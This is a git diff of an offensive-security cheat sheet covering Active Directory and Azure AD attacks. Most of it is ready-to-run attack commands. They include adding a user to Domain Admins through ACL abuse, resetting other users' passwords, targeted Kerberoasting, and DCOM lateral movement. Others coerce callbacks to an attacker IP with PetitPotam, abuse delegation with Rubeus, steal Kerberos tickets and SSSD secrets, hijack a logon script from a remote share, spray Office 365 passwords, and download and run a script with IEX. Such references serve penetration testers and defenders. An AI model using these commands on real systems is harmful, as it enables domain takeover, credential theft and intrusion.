* **GenericAll on User** : We can reset user's password without knowing the current password
-* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : `net group "domain admins" spotless /add /domain`
+* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
+ * On Windows : `net group "domain admins" spotless /add /domain`
+ * On Linux using the Samba software suite : `net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'AttackerUser%MyPassword' -W DOMAIN -I [DC IP]`
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.
```powershell
@@ -1647,8 +2124,9 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
# Check if current user has already an SPN setted:
PowerView2 > Get-DomainUser -Identity | select serviceprincipalname
- # Force set the SPN on the account:
+ # Force set the SPN on the account: Targeted Kerberoasting
PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
+ PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'}
# Grab the ticket
PowerView2 > $User = Get-DomainUser username
@@ -1679,15 +2157,20 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericWrite
* Reset another user's password
-
- ```powershell
- # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
- $user = 'DOMAIN\user1';
- $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
- $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
- $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
- Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
- ```
+ * On Windows:
+ ```powershell
+ # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
+ $user = 'DOMAIN\user1';
+ $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
+ $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
+ $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
+ Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
+ ```
+ * On Linux:
+ ```bash
+ # Using rpcclient from the Samba software suite
+ rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
+ ```
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
@@ -1710,7 +2193,7 @@ NOTE: To not alert the user the payload should hide its own process window and s
#### WriteDACL
-To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
+To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
* WriteDACL on Domain
```powershell
@@ -1763,7 +2246,7 @@ ConvertFrom-ADManagedPasswordBlob $mp
#### ForceChangePassword
An attacker can change the password of the user this ACE applies to.
-This can be achieved with Set-DomainUserPassword (PowerView module).
+This can be achieved with `Set-DomainUserPassword` (PowerView module).
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@@ -1775,8 +2258,16 @@ Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
+
+* Impacket DcomExec.py
+ ```ps1
+ dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
+ dcomexec.py -share C$ -object MMC20 '/:@'
+ dcomexec.py -share C$ -object MMC20 '/:@' 'ipconfig'
+ ```
* CheeseTools - https://github.com/klezVirus/CheeseTools
```powershell
+ # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc
@@ -1789,8 +2280,15 @@ Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
```
-
- https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
+* Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
+ ```powershell
+ Import-Module .\Invoke-DCOM.ps1
+ Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
+ Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
+ Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
+ Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
+ Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
+ ```
#### DCOM via MMC Application Class
@@ -2061,6 +2559,22 @@ Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HA
* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service
+
+#### MS-EFSRPC Abuse with Unconstrained Delegation
+
+Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.
+
+```bash
+# Coerce the callback
+git clone https://github.com/topotam/PetitPotam
+python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+
+# Extract the ticket
+.\Rubeus.exe asktgs /ticket: /ptt
+```
+
+
### Kerberos Constrained Delegation
> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,
@@ -2075,25 +2589,19 @@ $ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```
-#### Exploit with Impacket
-```ps1
-$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
-Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
+#### Exploit the Constrained Delegation
-[*] Getting TGT for user
-[*] Impersonating Administrator
-[*] Requesting S4U2self
-[*] Requesting S4U2Proxy
-[*] Saving ticket in Administrator.ccache
-```
-
-#### Exploit with Rubeus
-```ps1
-$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
-$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
-$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
-$ dir \\dc.domain.com\c$
-```
+* Impacket
+ ```bash
+ $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
+ ```
+* Rubeus
+ ```bash
+ $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
+ $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
+ $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
+ $ dir \\dc.domain.com\c$
+ ```
#### Impersonate a domain user on a resource
@@ -2244,24 +2752,6 @@ python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate U
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```
-### Relay delegation with mitm6
-
-Prerequisites:
-- IPv6 enabled (Windows prefers IPV6 over IPv4)
-- LDAP over TLS (LDAPS)
-
-> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
-
-```powershell
-git clone https://github.com/fox-it/mitm6.git
-cd /opt/tools/mitm6
-pip install .
-
-mitm6 -hw ws02 -d lab.local --ignore-nofqnd
-ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
-then use rubeus with s4u to relay the delegation
-```
-
### PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
@@ -2368,6 +2858,17 @@ PXE allows a workstation to boot from the network by retrieving an operating sys
>>>> >>>> UserPassword = Somepass1
```
+### DNS Reconnaissance
+
+Perform ADIDNS searches
+
+```powershell
+StandIn.exe --dns --limit 20
+StandIn.exe --dns --filter SQL --limit 10
+StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
+StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
+```
+
### DSRM Credentials
> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
@@ -2427,15 +2928,30 @@ Navigate to any web application that is integrated with our AAD domain. Once at
### CCACHE ticket reuse from /tmp
-List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`
-
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
+List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
+
+```powershell
+$ ls /tmp/ | grep krb5cc
+krb5cc_1000
+krb5cc_1569901113
+krb5cc_1569901115
+
+$ export KRB5CCNAME=/tmp/krb5cc_1569901115
+```
+
+
### CCACHE ticket reuse from keyring
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
```powershell
+# Configuration and build
+git clone https://github.com/TarlogicSecurity/tickey
+cd tickey/tickey
+make CONF=Release
+
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
@@ -2448,6 +2964,22 @@ Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/Tar
[X] [uid:0] Error retrieving tickets
```
+### CCACHE ticket reuse from SSSD KCM
+
+SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
+The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
+By default, the key is only readable if you have **root** permissions.
+
+Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.
+
+```powershell
+git clone https://github.com/fireeye/SSSDKCMExtractor
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+```
+
+The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
+
+
### CCACHE ticket reuse from keytab
```powershell
@@ -2577,3 +3109,15 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/)
* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
+* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
+* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
+* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab#Previous%20Work)
+* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
+* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
+* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
+* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
+* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
+* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
+* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
+* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
+* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
diff --git a/Methodology and Resources/Cloud - Azure Pentest.md b/Methodology and Resources/Cloud - Azure Pentest.md
index 056261a..c665353 100644
--- a/Methodology and Resources/Cloud - Azure Pentest.md
+++ b/Methodology and Resources/Cloud - Azure Pentest.md
@@ -1,29 +1,157 @@
-# Azure
+# Azure Active Directory
## Summary
-* [Tools](#tools)
-* [Azure Architecture](#azure-architecture)
-* [Azure Storage Account - Access](#azure-storage-account----access)
-* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
-* [Azure AD - Enumeration](#azure-ad---enumeration)
-* [Azure AD - Password Spray](#azure-ad---password-spray)
-* [Azure AD - Convert GUID to SID](#azure-ad---convert-guid-to-sid)
-* [Azure AD - Sign in with a service principal](#azure-ad---sign-in-with-a-service-principal)
-* [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction)
-* [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync)
-* [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket)
-* [Azure AD - ADFS Federation Server ~Cloud Kerberos](#azure-ad---adfs-federation-server-cloud-kerberos)
-* [Azure AD - Persistence via Automation accounts](#azure-ad---persistence-via-automation-accounts)
-* [Azure VM - Execute command as NT SYSTEM with Contributor right](#azure-vm---execute-command-as-nt-system-with-contributor-right)
-* [Office365 - Enumerating Users](#office365---enumerating-users)
+* [Azure Recon Tools](#azure-recon-tools)
+* [Enumeration](#enumeration)
+ * [Enumerate valid emails](#enumerate-valid-emails)
+ * [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
+ * [Enumerate tenant with Azure AD Powershell](#enumerate-tenant-with-azure-ad-powershell)
+ * [Enumerate tenant with Az Powershell](#enumerate-tenant-with-az-powershell)
+ * [Enumerate tenant with az cli](#enumerate-tenant-with-az-cli)
+ * [Enumerate manually](#enumerate-manually)
+ * [Enumeration methodology](#enumeration-methodology)
+* [Phishing with Evilginx2](#phishing-with-evilginx2)
+* [Illicit Consent Grant](#illicit-consent-grant)
+* [Token from Managed Identity](#token-from-managed-identity)
+ * [Azure API via Powershell](#azure-api-via-powershell)
+ * [Azure API via Python Version](#azure-api-via-python-version)
+ * [Get Tokens](#get-tokens)
+ * [Use Tokens](#use-tokens)
+ * [Refresh Tokens](#refresh-token)
+* [Stealing Tokens](#stealing-tokens)
+ * [Stealing tokens from az cli](#stealing-tokens-from-az-cli)
+ * [Stealing tokens from az powershell](#stealing-tokens-from-az-powershell)
+* [Add Credentials to All Enterprise Applications](#add-credentials-to-all-enterprise-applications)
+* [Spawn SSH for Azure Web App](#spawn-ssh-for-azure-web-app)
+* [Azure Storage Blob](#azure-storage-blob)
+ * [Enumerate blobs](#enumerate-blobs)
+ * [SAS URL](#sas-url)
+ * [List and download blobs](#list-and-download-blobs)
+* [Runbook Automation](#runbook-automation)
+ * [Create a Runbook](#create-a-runbook)
+ * [Persistence via Automation accounts](#persistence-via-automation-accounts)
+* [Virtual Machine RunCommand](#virtual-machine-runcommand)
+* [KeyVault Secrets](#keyvault-secrets)
+* [Pass The Certificate](#pass--the-certificate)
+* [Pass The PRT](#pass-the-prt)
+* [Intunes Administration](#intunes-administration)
+* [Dynamic Group Membership](#dynamic-group-membership)
+* [Administrative Unit](#administrative-unit)
+* [Deployment Template](#deployment-template)
+* [Application Proxy](#application-proxy)
+* [Conditional Access](#conditional-access)
+* [Azure AD](#azure-ad)
+ * [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
+ * [Password Spray](#password-spray)
+ * [Convert GUID to SID](#convert-guid-to-sid)
+* [Azure AD Connect ](#azure-ad-connect)
+ * [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction)
+ * [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync)
+ * [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket)
* [References](#references)
-## Tools
+## Azure Recon Tools
-:warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD.
-:warning: Tokens for Azure are cached in `C:\Users\[Name]\.Azure\accessTokens.json`
+* **ROADTool**
+ ```powershell
+ pipenv shell
+ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
+ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
+ roadrecon auth -u test@.onmicrosoft.com -p
+ roadrecon gather
+ roadrecon gui
+ ```
+* **StormSpotter**
+ ```powershell
+ # https://github.com/Azure/Stormspotter
+ # session 1 - backend
+ pipenv shell
+ python ssbackend.pyz
+
+ # session 2 - frontend
+ cd C:\Tools\stormspotter\frontend\dist\spa\
+ quasar.cmd serve -p 9091 --history
+
+ # session 3 - collector
+ pipenv shell
+ az login -u test@.onmicrosoft.com -p
+ python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli
+
+ # Web access on http://localhost:9091
+ Username: neo4j
+ Password: BloodHound
+ Server: bolt://localhost:7687
+ ```
+* **Azure Hound**
+ ```powershell
+ # https://github.com/BloodHoundAD/AzureHound
+
+ . C:\Tools\AzureHound\AzureHound.ps1
+ Invoke-AzureHound -Verbose
+
+ # GUI access
+ bolt://localhost:7687
+ Username: neo4j
+ Password: BloodHound
+
+ # Cypher query example:
+ MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
+
+ # Change object ID's to names in Bloodhound
+ MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname
+
+ # Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/
+ ```
+* List of Microsoft portals: https://msportals.io/
+* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
+ ```powershell
+ # You should use an account with at least read-permission on the assets you want to access
+ git clone https://github.com/nccgroup/azucar.git
+ PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
+
+ PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
+ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
+ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
+
+ # resolve the TenantID for an specific username
+ PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
+ ```
+* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
+ ```powershell
+ git clone https://github.com/mwrlabs/Azurite.git
+ git clone https://github.com/FSecureLABS/Azurite
+ git submodule init
+ git submodule update
+ PS> Import-Module AzureRM
+ PS> Import-Module AzuriteExplorer.ps1
+ PS> Review-AzureRmSubscription
+ PS> Review-CustomAzureRmSubscription
+ ```
+* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
+ ```powershell
+ $ git clone https://github.com/NetSPI/MicroBurst
+ PS C:> Import-Module .\MicroBurst.psm1
+ PS C:> Import-Module .\Get-AzureDomainInfo.ps1
+ PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
+ ```
+* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
+ Require:
+ - Read-Only permissions over Azure Directory (Tenant)
+ - Read-Only permissions over Subscription
+ - Require AZ and AzureAD module or administrator right
+
+ ```powershell
+ $ git clone https://github.com/cyberark/SkyArk
+ $ powershell -ExecutionPolicy Bypass -NoProfile
+ PS C> Import-Module .\SkyArk.ps1 -force
+ PS C> Start-AzureStealth
+
+ or in the Cloud Console
+
+ PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
+ PS C> Scan-AzureAdmins
* **PowerZure** -
```powershell
require az module !
@@ -46,113 +174,755 @@
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
+
+## Enumeration
-* **Azure CLI** - Default azure CLI
+### Enumerate valid emails
+
+> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
+
+* Validate email
```powershell
- $ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
- $ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
- $ sudo apt-get install apt-transport-https
- $ sudo apt-get update && sudo apt-get install azure-cli
- # dump users
- $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
+ PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt
+ admin@.onmicrosoft.com - VALID
+ root@.onmicrosoft.com - INVALID
+ test@.onmicrosoft.com - VALID
+ contact@.onmicrosoft.com - INVALID
```
+* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
-* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
- ```powershell
- $ git clone https://github.com/NetSPI/MicroBurst
- PS C:> Import-Module .\MicroBurst.psm1
- PS C:> Import-Module .\Get-AzureDomainInfo.ps1
- PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
- ```
+#### Password spraying
-* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
- Require:
- - Read-Only permissions over Azure Directory (Tenant)
- - Read-Only permissions over Subscription
- - Require AZ and AzureAD module or administrator right
-
- ```powershell
- $ git clone https://github.com/cyberark/SkyArk
- $ powershell -ExecutionPolicy Bypass -NoProfile
- PS C> Import-Module .\SkyArk.ps1 -force
- PS C> Start-AzureStealth
-
- or in the Cloud Console
-
- PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
- PS C> Scan-AzureAdmins
- ```
-
-* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
-
- ```powershell
- git clone https://github.com/mwrlabs/Azurite.git
- git clone https://github.com/FSecureLABS/Azurite
- git submodule init
- git submodule update
- PS> Import-Module AzureRM
- PS> Import-Module AzuriteExplorer.ps1
- PS> Review-AzureRmSubscription
- PS> Review-CustomAzureRmSubscription
- ```
-
-* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
-
- ```powershell
- # You should use an account with at least read-permission on the assets you want to access
- git clone https://github.com/nccgroup/azucar.git
- PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
-
- PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
- PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
- PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
-
- # resolve the TenantID for an specific username
- PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
- ```
-
-## Azure Architecture
-
-![Azure Architecture](https://miro.medium.com/max/880/0*-5NqtHX2C8arkwQG)
-
-* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
-* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
-* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
-* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
-
-## Azure Storage Account - Access
-
-* Blobs – *.blob.core.windows.net
- ```powershell
- $ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S
- ```
-* File Services – *.file.core.windows.net
-* Data Tables – *.table.core.windows.net
-* Queues – *.queue.core.windows.net
-z
```powershell
-# https://github.com/NetSPI/MicroBurst
-S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123]
-Found Storage Account - secure.blob.core.windows.net
+PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
+PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password -Verbose
+```
+
+### Enumerate Azure Subdomains
+
+```powershell
+PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
+PS> Invoke-EnumerateAzureSubDomains -Base -Verbose
+Subdomain Service
+--------- -------
+.mail.protection.outlook.com Email
+.onmicrosoft.com Microsoft Hosted Domain
+```
+
+### Enumerate tenant with Azure AD Powershell
+
+```powershell
+Import-Module C:\Tools\AzureAD\AzureAD.psd1
+Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
+PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force
+PS> $creds = New-Object System.Management.Automation.PSCredential("test@.onmicrosoft.com", $passwd)
+PS Az> Connect-AzureAD -Credential $creds
+
+PS AzureAD> Get-AzureADUser -All $true
+PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
+PS AzureAD> Get-AzureADGroup -All $true
+PS AzureAD> Get-AzureADDevice
+PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
+PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
+```
+
+### Enumerate tenant with Az Powershell
+
+```powershell
+PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force
+PS> $creds = New-Object System.Management.Automation.PSCredential ("test@.onmicrosoft.com", $passwd)
+PS Az> Connect-AzAccount -Credential $creds
+
+PS Az> Get-AzResource
+PS Az> Get-AzRoleAssignment -SignInName test@.onmicrosoft.com
+PS Az> Get-AzVM | fl
